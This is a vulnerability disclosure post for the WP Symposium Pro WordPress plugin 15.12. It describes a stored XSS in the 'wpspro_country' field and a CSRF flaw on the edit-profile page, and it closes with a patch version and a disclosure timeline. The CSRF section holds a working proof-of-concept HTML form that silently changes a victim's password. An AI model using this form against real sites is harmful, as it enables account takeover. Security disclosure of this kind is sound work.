WP Symposium Pro Social Network Plugin XSS and Critical CSRF Vulnerability


#Product                     : WP Symposium Pro Social Network plugin
#Exploit Author      : Rahul Pratap Singh
#Version                     : 15.12
#Website                    : 0x62626262.wordpress.com
#Twitter                     : @0x62626262
#Linkedin                  : https://in.linkedin.com/in/rahulpratapsingh94

#Date                          : 8/Jan/2016

1) XSS Vulnerability:

Vulnerable Code:

file: wps_usermeta_shortcodes.php

“wpspro_country” parameter is not sanitized, that leads to persistent xss.

Video Demonstration:

2) CSRF Vulnerability:


Edit profile page is vulnerable to CSRF, that allows to change password which in turn leads to full account takeover.


<html >
  <body >
    <form action=”http://localhost/wp422/wordpress/index.php/edit-profile/” method=”POST” enctype=”multipart/form-data” >
      <input type=”hidden” name=”wps_usermeta_change_update” value=”yes” / >
      <input type=”hidden” name=”wpspro_display_name” value=”rahul” / >
      <input type=”hidden” name=”wpspro_firstname” value=”hello1″ / >
      <input type=”hidden” name=”wpspro_lastname” value=”hello2″ / >
      <input type=”hidden” name=”wpspro_email” value=” ” / >
      <input type=”hidden” name=”wpsro_home” value=”hello4″ / >
      <input type=”hidden” name=”wpspro_country” value=”hello5″ / >
      <input type=”hidden” name=”wpspro_password” value=”asdf” / >
      <input type=”hidden” name=”wpspro_password2″ value=”asdf” / >
      <input type=”submit” value=”Submit request” / >
    </form >
  </body >

</html >

Video Demonstration:

Update to version 16.1

Disclosure Timeline:

reported to vendor  : 6/1/2016
vendor response     : 6/1/2016
vendor acknowledged : 6/1/2016
vendor scheduled a patch: 7/1/2016
CVE Number : Not assigned yet


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s